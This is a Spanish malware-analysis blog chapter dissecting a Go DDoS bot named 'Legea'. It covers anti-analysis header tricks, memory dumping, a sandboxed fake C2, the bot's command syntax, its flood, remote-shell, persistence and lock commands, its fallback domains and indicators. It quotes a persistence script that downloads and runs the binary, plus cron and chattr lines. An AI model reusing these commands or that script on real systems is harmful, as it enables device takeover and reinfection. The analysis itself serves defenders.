ES EN
Índice

Legea · Capítulo 32

Cifró hasta un mensaje roto

Tres bytes mentirosos dejan al descompilador fuera, y detrás hay un segundo muro: las cadenas del autor no están en el fichero. Para cuando conseguí hablar con él, llevaba un rato diciéndome que sí a siete órdenes que no existían.

El capítulo anterior terminó con el descompilador cerrándome la puerta: invalid Go version. Un binario de 40 MB que arranca y funciona en una máquina real, pero que al abrirlo dice de sí mismo algo imposible.

Esa frase es el primero de dos muros, y los dos son del mismo autor. El segundo tardé más en verlo, y el camino hasta él incluye el rato en que el bicho me estuvo diciendo que sí a siete órdenes que no existen.

01Tres bytes que mienten

Un binario de Go no es una caja negra: el compilador deja dentro un índice de sus propias funciones, la gopclntab, y una ficha con la versión con la que se construyó. Es lo que permite que un descompilador reconstruya nombres y límites de función en un fichero sin símbolos. Todo el mundo lo lee; es lo primero que lee. Y por eso es el sitio exacto donde conviene mentir.

Comparé lo que decía esa cabecera con lo que tenía que decir, y había tres campos tocados:

la cabecera falseada, y lo que debería decir
campo                        lo que dice      lo que es
.gopclntab   magic           50 c2 6d 30      f1 ff ff ff   (0xFFFFFFF1, el magic real)
pcHeader     textStart       0                0x401000      (base real del código)
.go.buildinfo  version       "unknown"        "go1.24.1"

Tres campos, unos pocos bytes. Ninguno de los tres hace falta para que el programa corra: el sistema operativo no los mira al arrancarlo, solo los miran las herramientas de análisis. Son una mentira dirigida a mí, no a la máquina. Un apunte de alcance: esos tres campos los verifiqué en la muestra que abrí, la de x64; en las otras siete arquitecturas lo deduzco por ser la misma campaña, y no lo comprobé pieza a pieza.

Y funciona, pero dura poco: hice una copia del fichero, le devolví a esos tres campos su valor verdadero y volví a abrirla. El descompilador entró sin una queja y, con el índice de funciones de vuelta en su sitio, apareció de golpe el reparto completo del binario: el cliente que llama a casa, el despachador de órdenes, los manejadores de cada ataque, los trabajadores.

Y no es invención de este autor. El equipo de respuesta de Nokia Deepfield describió dos de estos tres campos en un informe de julio sobre DDoSia, la herramienta de ataque de NoName057(16): el magic de la .gopclntab machacado y la versión de compilación puesta en unknown. El tercero, el textStart a cero, no aparece ahí. Es una receta que circula, y este la aplica un campo más allá.

Lo interesante es lo que no arregló. Tenía el código, podía leerlo entero, y seguía sin saber a quién llamaba.

02El segundo muro: las cadenas no están

Un bot tiene que llevar dentro la dirección de su centro de mando. Es su único dato imprescindible: sin eso no hay botnet. Así que lo busqué como se busca siempre, barriendo el fichero en busca de texto, y no había nada. Ni la dirección, ni un dominio, ni los nombres de sus órdenes.

Lo que sí había era texto de las bibliotecas del sistema, en claro y a la vista: tls: , dns: udp: , %s:%d, socks . Y ese contraste es la firma de una herramienta concreta. El binario está pasado por garble, el ofuscador de Go, con la opción -literals activada: revuelve los nombres y cifra las cadenas de los paquetes del autor, dejando intactas las de la biblioteca estándar. De ahí el reparto tan desigual: lo que escribió él, cifrado; lo que trajo de fuera, legible. La misma opción que lleva el cliente de DDoSia, según ese mismo informe.

Eso cambia la pregunta. Las cadenas no se construyen al vuelo con cuentas raras, como pensé al principio: están cifradas en reposo y se descifran solas al arrancar, porque el programa las necesita en claro para usarlas. O sea que existen, enteras, en un sitio concreto: la memoria del proceso vivo.

Así que lo encendí en la jaula, como root, que es como cae en la víctima, y lo dejé correr solo, sin nadie que le contestara. Lo primero que confirmó es que por sí mismo no hace nada: no persiste, no toca /etc/shadow ni las claves del usuario, no escanea, no abre un solo socket crudo. Lo único que hace es llamar a casa. Y llamar, y llamar:

lo que hace cuando nadie le contesta
connect() a 130.12.180.32:7001              17 veces
consultas de DNS a 127.0.0.1:53            476 veces (sus dominios, uno tras otro)

# y lo único que de verdad sale por el cable:
ARP  who-has 130.12.180.32                 sin respuesta

Diecisiete intentos de conexión, 476 preguntas de DNS, y lo único que llega a salir al cable es un ARP preguntando quién tiene esa dirección, al que nadie contesta. Un bicho dando golpes en una habitación cerrada.

Mientras daba golpes, lo congelé y le leí la memoria. Y ahí estaba todo lo que el fichero no tenía: la dirección de su centro de mando, los siete dominios de reserva, los nombres de sus órdenes y hasta las frases con las que el autor se cuenta a sí mismo lo que va pasando (Trying domain: %s, Connected to IP: %s, dispatch err: %v).

MURO 1 · la cabecera mienteel ficherotal como cayó3 bytescopia con la cabeceradevuelta a su sitioel código, legibledespachador, manejadoresMURO 2 · las cadenas van cifradas en reposoel mismo ficherosin una cadena dentrojaulaproceso vivose descifra solo al arrancarvolcado de memoriaC2, dominios, legea=el primer muro esconde el CÓDIGO · el segundo esconde los DATOSy hay que pasar los dos por separado, con herramientas distintas
Dos muros independientes puestos por el mismo autor, y cada uno pide una herramienta distinta: la cabecera se arregla editando bytes en una copia, y las cadenas solo aparecen dejando que el bicho se las descifre a sí mismo en una jaula.

03Siete órdenes que no existían

Con la dirección y el puerto en la mano, el siguiente paso es montarle un centro de mando falso dentro de la jaula y aprender a hablarle. El protocolo es de los simples: texto plano por TCP, habla primero el servidor y el bot lee una línea. Así que le fui soltando órdenes candidatas para ver cuáles aceptaba, con un detalle a favor: cuando no entiende algo, lo dice.

Mi oráculo era ese: lanzo una palabra, miro su salida, y si no aparece la queja es que la ha aceptado. Siete palabras pasaron la prueba, las que esperaría cualquiera en un bot de este tipo: udp, tcp, syn, ack, gre, l7, http2. Lo apunté como el repertorio del bicho. Encajaba tan bien que no lo miré dos veces.

Las siete eran falsas. No es que el bot las rechazara: es que mi oráculo no podía ver ni una respuesta, y yo estaba leyendo un fichero vacío como si fuera un sí.

La causa está en algo que el propio bicho hace y que yo ya había anotado dos secciones antes sin atar los cabos: se demoniza. Al arrancar se separa de la terminal, abre sesión nueva y se re-ejecuta, y al hacerlo suelta su salida estándar. A partir de ese momento todo lo que escriba no va a mi fichero: no va a ninguna parte. Mi medidor marcaba cero porque estaba desenchufado, y cero lo leí como «lo ha aceptado».

el mismo bot, dos oráculos, veredictos opuestos
# ORÁCULO MALO: leer el fichero de salida del proceso
$ echo "udp 203.0.113.9 80 1 1" | nc -l 7001 ; cat salida.txt
(vacío)                                   → lo leí como "aceptado". Falso.

# ORÁCULO BUENO: trazar la llamada al sistema write()
$ strace -f -e trace=write ./bot
write(1, "dispatch err: unknown cmd: udp\n")    → la verdad: no la conoce
write(1, "dispatch err: unknown cmd: syn\n")    → tampoco
                                                 ... y así las siete

La diferencia entre las dos corridas no está en el bicho, que hizo lo mismo las dos veces: está en dónde miro. El fichero de salida es un sitio al que el proceso ya no escribe. La llamada al sistema write, en cambio, la tiene que hacer igual, y ahí sí aparece, con su queja entera y el nombre de la orden que no reconoce.

Y en cuanto pude leer las quejas, apareció también lo contrario: la primera palabra que no daba error. No es ninguna de las siete.

04«La ley»

Todo el repertorio se pide con la misma palabra delante:

el formato real de una orden
legea=<método> <objetivo> <puerto> <segundos> <hilos>

# ejemplo, contra la IP de documentación 203.0.113.9:
legea=udpflood 203.0.113.9 80 1 1
# y el latido, que va aparte y sin la clave:
PING                                        → PONG

Ahí estaba el verbo: no hay órdenes sueltas, hay una sola clave y el método va dentro. Y esa clave es la pieza más interesante de todo el volcado, por lo que es y por lo poco que hay.

Porque este bicho no dejó nada más suyo: ni banner, ni alias, ni número de versión, ni nombre de proyecto, ni una ruta del disco de su autor (que es por donde se delatan tantos). Lo tiene todo revuelto y cifrado. legea es la única palabra que eligió él y que sigue en pie, y está por todas partes:

la clave del autor: en el fichero frente a en la memoria
$ ./fig-legea.sh
== clave 'legea' del autor: en binario vs en memoria del proceso ==
  en el BINARIO (en reposo, cifrado por garble -literals):    0
  en MEMORIA   (descifrado en ejecucion):                   124

== repertorio de metodos (clave legea=<metodo>), por frecuencia ==
     11 legea=udpsmart         7 legea=tcphandshake      4 legea=rce
     11 legea=persist          7 legea=dns               4 legea=lock
      9 legea=tcpflood         6 legea=udpflood          4 legea=kill
      9 legea=synflood         8 legea=http              4 legea=greflood
      9 legea=ackflood

Cero veces en el fichero, 124 en la memoria del proceso. Esa cifra es, de paso, la prueba más limpia del -literals: la palabra existe, el programa la usa constantemente, y en el disco no está. Y en la misma pantalla cabe el repertorio entero, que es lo que tocaba averiguar.

De ahí sale el nombre con el que lo fiché: Legea, que es «la ley» en rumano. Es una cadena que estaba dentro del binario y la elegí porque es lo único que puso su autor; el nombre no dice nada sobre quién lo escribió ni de dónde es, igual que no lo dice el nombre de ninguna otra familia bautizada por su mutex o por una cadena de su protocolo.

Un detalle de método, que es lo que me dio la cifra limpia: en el volcado aparecen también cosas como tcphandshakepe, que no son métodos sino basura del montón de memoria pegada justo detrás. Por eso la cuenta casa solo contra los trece nombres buenos y no contra cualquier cosa que empiece por legea=.

05Nueve ataques y cuatro llaves

Con la sintaxis correcta, el bicho se desnuda entero: le fui dando las trece órdenes una a una, mirando con la traza de llamadas al sistema, la captura de red y un diff del disco qué hacía con cada una. Las trece funcionan. Nueve son ataques y cuatro no lo son, y esas cuatro cambian lo que es esto.

Los nueve ataques, con lo que anuncia cada uno al arrancar (objetivo de prueba: 203.0.113.9, una IP reservada para documentación, dentro de la jaula):

OrdenLo que dice al arrancarQué lanza
legea=udpfloodStarting UDP flood… / UDP flood done. Sent: 13941inundación UDP
legea=udpsmartStarting randomized UDP flood…UDP con los campos aleatorizados
legea=tcpfloodTCP flood done. Sent: …conexiones TCP a mansalva
legea=tcphandshakehost:… secs:…saludos TCP a medias, para agotar tablas
legea=synfloodSYN flood done. Sent: 12111SYN con socket crudo
legea=ackfloodACK flood done. Sent: 12175ACK con socket crudo
legea=grefloodGRE flood done. Sent: 11573GRE con socket crudo
legea=httpStarting HTTP flood…peticiones HTTP (capa 7)
legea=dnsStarting DNS flood…abuso de DNS

Cubre las capas 3, 4 y 7, y los tres que van con socket crudo necesitan ser root: ahí se entiende por qué se entrega como root y no le vale una cuenta cualquiera. Nada de esto es exótico; es el surtido estándar de un bot de alquiler, y lo cuento por lo que sirve para detectarlo, no por cómo arma cada paquete.

Las otras cuatro órdenes son las que me hicieron cambiar el veredicto, porque no sirven para tumbar a nadie: sirven para quedarse con la máquina.

las cuatro llaves, detonadas una a una en la jaula
# legea=rce id        → shell arbitrario, y con todos los permisos
execve("/usr/bin/sh", ["sh","-c","id"])
write(1, "uid=0(root) gid=0(root) groups=0(root)\n")

# legea=persist       → se clava por tres sitios a la vez
execve("/usr/bin/systemctl", ["systemctl","enable","--now","systemd-helper.service"])
execve("/usr/bin/bash", ["bash","-c","(crontab -l; echo '* * * * * bash
       /var/lib/.systemd_helper/.systemd_script.sh >/dev/null 2>&1') | crontab -"])
# y deja caer el vigilante, que se re-descarga solo si el bot no corre:
  URL="hxxp://<su servidor>/x86";  PROG="/var/lib/.systemd_helper/.systemd_process"
  [ ! -f $PROG ] && wget -O $PROG $URL && chmod +x $PROG;  pgrep -x .systemd_process || $PROG &

# legea=lock          → hace inmutables los directorios del sistema
execve("/usr/bin/chattr", ["chattr","+i","/etc/config"])   … y /data /proc /root /sys /tmp /var/run …

# legea=kill          → el matador de rivales
write(1, "Killer disabled.\n")               (al desactivarlo)

Vale la pena mirarlas una por una, porque juntas son otro bicho del que parecía.

rce es una shell remota con permisos totales: le mandas una orden y te devuelve la salida. Con eso, el repertorio de los otros doce métodos da igual; el operador puede hacer lo que quiera en la máquina, incluido traerse herramientas nuevas.

persist se agarra por tres sitios: un servicio del sistema con nombre de pieza inocente (systemd-helper, que suena a componente de la distribución y no lo es), una tarea programada cada minuto, y un script vigilante que comprueba si el bot sigue vivo y, si no lo está, se lo vuelve a descargar del servidor de reparto. Es la misma dirección por la que llegó, así que la persistencia lo ata a su propia infraestructura: mientras esa caja sirva ficheros, la víctima se reinfecta sola cada minuto.

lock es el detalle que más me gustó, porque es de los que apuntan a qué aparatos va dirigido esto. Pone el atributo de inmutable sobre una lista fija de directorios, de modo que ni otro intruso pueda dejar ficheros ahí ni el dueño pueda limpiar el equipo con comodidad. Y en esa lista, junto a los de cualquier Linux, hay dos que no pintan nada en un servidor: /etc/config y /data. En OpenWrt son rutas de serie, y es la explicación que mejor encaja, aunque no son exclusivas suyas y otros sistemas embebidos las usan también. Tal como está, la lista parece escrita pensando en aparatos del borde de la red más que en la máquina donde cayó.

kill es un módulo que mata procesos rivales, lo típico para quedarse el aparato en exclusiva. Existe y responde, eso lo vi; qué lista de procesos mata exactamente no lo saqué, y lo dejo escrito porque es un hueco real de este análisis.

Juntando las cuatro, lo que cae en la víctima no es un cañón de denegación de servicio: es un bot completo con plano de control, con shell remota, persistencia que se repone sola y bloqueo del territorio. Ese perfil (matador de rivales, territorio marcado, rutas de router) es de familia Mirai de toda la vida, pero reescrito en Go y con el protocolo y la ofuscación de otra época.

06Dos etiquetas que se equivocaron

Mi propio clasificador del cebo, que mira cada muestra que entra y dice en una línea de qué va, dijo de esta: «descarga más componentes; prueba credenciales por telnet o ssh». La primera mitad es verdad, y es justo el vigilante de persist que se re-descarga el binario. La segunda es mentira, y la causa tiene gracia.

Este bot enlaza gopacket, la biblioteca con la que se arman y se leen paquetes de red, y que es el motor de sus tres ataques con socket crudo. Y gopacket trae dentro, para poder describir el tráfico que lee, una tabla enorme con los nombres de todos los puertos conocidos: telnet, ssh, http, y unos cientos más. El clasificador vio esas palabras en el binario y concluyó lo razonable. Las palabras estaban; lo que no estaba era nada que las usara.

Como la pregunta importaba (un bot que fuerza credenciales por SSH se propaga solo, y eso cambia por completo cómo hay que defenderse), la comprobé por tres caminos que no comparten herramienta:

PreguntaQué busquéResultado
¿Puede hablar SSH?una biblioteca de cliente SSH enlazada, funciones de autenticaciónno hay ninguna. Sin eso, forzar credenciales por SSH no es improbable: es imposible
¿Lleva un diccionario?las credenciales clásicas de las listas de Mirai (xc3511, vizxv, xmhdipc, 7ujMko0…) y pares usuario:contraseñacero. Lo único parecido es user:cpu-seconds, que es una métrica del propio lenguaje
¿Hay por dónde llegar?las ramas del despachador, una por unatrece comparaciones de texto y el latido. Ninguna escanea ni prueba credenciales

El segundo punto es el que podría haberme engañado otra vez, porque «no encontré nada» es exactamente lo que dice una búsqueda rota. Así que antes de fiarme comprobé que sabía decir «sí»: la misma búsqueda, en el mismo volcado, sí encuentra las cadenas del autor que yo ya sabía que estaban descifradas ahí (legea, los siete dominios, las frases de registro). Encuentra lo que hay; lo que no hay es el diccionario.

Así que este bot no se propaga solo. Se queda quieto hasta que le hablan, y cualquier expansión sale de una orden del operador. Lo cual, de paso, deja a las dos etiquetas automáticas del caso en su sitio: un clasificador que le atribuye una capacidad que no tiene, y un motor de antivirus que, mirando el mismo fichero, lo dio por fichero legítimo.

07De qué familia es esto

El género está documentado, y conviene decirlo antes de pintar nada como raro: los bots de denegación de servicio escritos en Go llevan un par de años apareciendo, y el pariente más cercano que tiene este es el bot de IoT en Go que Akamai analizó en septiembre. El esqueleto de mando es el mismo hasta en los detalles: TCP de texto, partir la línea en campos, el primer campo manda, y cada ataque despachado a su manejador en hilos ligeros. También coincide la forma de repartirse, con un cargador que pide /<arquitectura> por HTTP.

Pero comparados binario contra binario no son la misma cosa, y las diferencias no son de matiz:

El de Akamai (sep-2026)Este
Sigilotexto plano, sin cifrar, sin ofuscargarble con -literals, cabecera de Go falseada, pila TLS a medida y DNS sobre HTTPS
Centro de mandouna IP y nada másuna IP más siete dominios fijos de reserva
Para qué está hechotumbar partidas: sus métodos nombran FiveM, Minecraft, Discordgenérico de red, sin una sola palabra de ese mundo, y añade GRE, que el otro no tiene
Cuántos ataquesalrededor de treintanueve
¿Se propaga solo?sí, trae escánerno (§06)

Y hay un parecido que no me conviene esconder, porque va en mi contra: el otro también trae órdenes de control, de matar y de persistir. El plano de control no es lo que separa a los dos; lo que separa es el sigilo, la reserva de dominios y para qué sirve el surtido de ataques. Tampoco es ninguna de las otras con las que lo comparé, y se caen por motivos gruesos: a Zergeca (XLab, 2024) le faltan aquí sus marcas propias y su transporte cifrado; HTTPBot (NSFOCUS, 2025) es de solo Windows y no sale de la capa 7; y DDoSia, el de la cabecera falseada del §01, es otra herramienta con otro dueño.

Así que en los repositorios públicos esto sigue siendo lo que era cuando llegó: ocho ficheros subidos, sin nombre de familia en ningún motor, y la infraestructura de reparto vigilada mientras las muestras no se sabe qué son. Un bot de un género conocido, con una vuelta de tuerca de sigilo y sin escáner, que todavía no tiene etiqueta.

08Siete dominios de reserva, y seis no existen

Queda el plan B del bicho, que es la parte que yo tenía por más seria. Además de la IP, lleva dentro siete dominios por los que intenta encontrar a su amo si la dirección se cae. Y no son de los que cambian cada día: le puse el reloj de la máquina un mes adelante, volví a detonarlo, y salieron los mismos siete. Semilla fija. Para quien defiende eso es la mejor noticia posible, porque son indicadores que no caducan: se bloquean una vez y listo.

Fui a ver qué había detrás de cada uno, preguntando a los registros de cada dominio, que es consulta a bases públicas y no toca nada del atacante. Y lo que hay detrás es casi nada:

DominioEstado
39rwd49tgi9.xyzel único que existió: registrado el 15-10 y suspendido por el registro el 16-10 a las 16:09 UTC. 21 horas y 17 minutos de vida. Sus servidores de nombres eran los de aparcamiento del registrador, así que nunca apuntó a ninguna máquina del operador
9egu923jfsdf.prosin registrar
dfisjqef0s.appsin registrar
fallbackmaximidfjdsia.comsin registrar
sg9sj8ifda.comsin registrar
sfoig93rafa.iosin registrar
w9triu9w8vs.rosin registrar

Seis de siete no se han registrado nunca. El plan de reserva, sobre el papel, le da al bot resistencia a perder su servidor; en la práctica, hoy no tiene a dónde caerse: si pierde la IP, se queda mudo llamando a siete puertas que no existen.

Dos veces estuvo a punto de colárseme un «no hay nada» que no era verdad, y las dos por el mismo motivo de antes. La primera pasada la hice contra un servicio que redirige las consultas al registro que toca, y me dio los siete como libres; pero dos de esos registros, el .ro y el .io, no tienen ese servicio, y lo que yo leía como «no está registrado» era en realidad «aquí no hay a quién preguntar». Los rehice contra el registro de cada uno. Y el del .ro tiene otra trampa: cuando el dominio no existe devuelve un aviso legal larguísimo y ni una línea de datos, que es exactamente lo que devuelve un servicio averiado. Lo resolví preguntando por un dominio que sí existe: si para ese contesta con datos, el servicio funciona y el silencio sobre el del bicho significa lo que parece.

Un matiz, para no vender más de lo que comprobé: lo verificado es que esos seis no están registrados. Si hoy se podrían registrar es otra pregunta, porque un registro puede tenerlos reservados o bloqueados sin que eso se vea, y no la he hecho. Y mientras sigan libres, ahí hay una superficie incómoda: quien registre uno se convierte en el amo de todo bot que caiga en la reserva. Es la razón para publicar la lista y que se bloqueen y se vigilen; actuar sobre ellos es cosa de los registros y de quien tiene competencia para eso.

Por qué murió el que sí existió: no lo sé El registro lo dejó suspendido a las 21 horas de nacer, y el estado que le puso no lleva motivo: el propio ICANN no publica causas para ese código. Lo que sí sé es que la suspensión es anterior a toda huella pública del bicho y que el dominio nunca resolvió a ninguna parte, así que el vínculo entre ese nombre y este malware no existía fuera del binario, donde además va cifrado. Caben dos explicaciones y no puedo decidir entre ellas: que alguien venciera la ofuscación en horas, sacara la lista y la reportara; o que la suspensión no tenga nada que ver con el malware y la haya matado una criba automática mirando la pinta del nombre, un impago o una verificación del titular. Me inclino por la segunda porque es la más barata de creer, y lo digo como inclinación, no como hallazgo.

Y hay un último detalle de calendario que lo remata. Cuando los ocho binarios cayeron en el cebo, su dominio de reserva llevaba ocho horas muerto, y su servidor de reparto llevaba cinco horas fichado en un repositorio público de URLs maliciosas. La campaña llegó quemada de casa y siguió repartiendo como si nada.

Puesto en fila, el contraste es lo que mejor describe a este bicho. Por dentro es un armario blindado: cabecera falseada, cadenas cifradas una a una, nombres revueltos, pila TLS a medida. Por fuera es un piso de alquiler con la puerta abierta: una caja de mercado compartida con cientos de direcciones, seis dominios que no se molestó en comprar y el único que compró, muerto en un día. El sigilo se consigue con una opción al compilar, y sale gratis. La infraestructura cuesta dinero y constancia.

Lo que lo corona está en el detalle más pequeño. Cifró con mimo todas sus frases de registro, una por una, incluida la del flood HTTP, que sale rota: anuncia su objetivo con un %!d(MISSING) donde debería ir el puerto, porque su autor le pasó mal los argumentos. Se tomó la molestia de cifrar un mensaje que no funciona, y nunca lo vio, porque para verlo habría tenido que encender su propio bot y leerse por dentro. Que es exactamente lo que acabo de hacer yo.

09Indicadores

Los de la entrega están en el capítulo anterior. Estos son los del bicho por dentro, y los de red no caducan: la lista de dominios es fija.

TipoValor
FamiliaLegea (nombre tomado de la clave de su protocolo; sin etiqueta en los motores públicos)
Centro de mando130.12.180.32:7001/TCP, el mismo servidor que la reparte
Dominios de reserva (lista fija, bloquear los 7)39rwd49tgi9.xyz · 9egu923jfsdf.pro · dfisjqef0s.app · fallbackmaximidfjdsia.com · sfoig93rafa.io · sg9sj8ifda.com · w9triu9w8vs.ro
Siguen siendo indicadores aunque hoy no resuelvan: el bot los intenta igual
ProtocoloTCP de texto, habla primero el servidor · orden: legea=<método> <objetivo> <puerto> <segundos> <hilos> · latido PING / PONG · ante algo desconocido responde dispatch err: unknown cmd: <x>
Métodos (13)ataque: udpflood, udpsmart, tcpflood, tcphandshake, synflood, ackflood, greflood, http, dns · control: rce, persist, lock, kill
Marcadores en memoriala clave legea (0 veces en el fichero, 124 en el proceso vivo) · frases de registro dispatch err: %v, unknown cmd: %s, Trying domain: %s, Connected to IP: %s · el fallo de formato %!d(MISSING) en el flood HTTP
Cabecera falseada (anti-análisis)magic de .gopclntab = 0x50c26d30 (el real es 0xFFFFFFF1) · textStart = 0 (real 0x401000) · versión en .go.buildinfo = "unknown" (real go1.24.1)
Persistencia (al recibir legea=persist)/var/lib/.systemd_helper/ (oculto) · .systemd_script.sh (vigilante que re-descarga) · .systemd_process (el binario repuesto) · /etc/systemd/system/systemd-helper.service (Restart=always, RestartSec=60) · tarea de cron de root cada minuto
Bloqueo de territorio (al recibir legea=lock)atributo inmutable inesperado sobre /data /etc/config /mnt /proc /root /sys /tmp /usr/tmp /var/cache /var/lib/ /var/run /var/tmp · /etc/config y /data apuntan a un objetivo embebido tipo OpenWrt (no son exclusivas suyas)
Comportamientose demoniza (abre sesión nueva y se re-ejecuta, suelta su salida estándar) · sin C2 que le hable no toca el sistema · sockets crudos para syn/ack/gre, que exigen root · rce ejecuta sh -c y devuelve la salida
ConstrucciónGo 1.24 (enlaza el módulo FIPS 140 y criptografía post-cuántica, que no existen antes) · garble con -literals · ELF estático y stripped, 33 a 40 MB, sin un segundo binario incrustado
Huecos declaradosla lista exacta de procesos que mata kill · el motivo de la suspensión del dominio · si los seis libres serían registrables hoy · la cabecera falseada solo se verificó en el build x64

Continuará - el cebo sigue encendido, y en el almacén esperan cuatro binarios que dejó esa misma IP nueve días antes, de la otra familia, sin abrir todavía. 🍯

Comentarios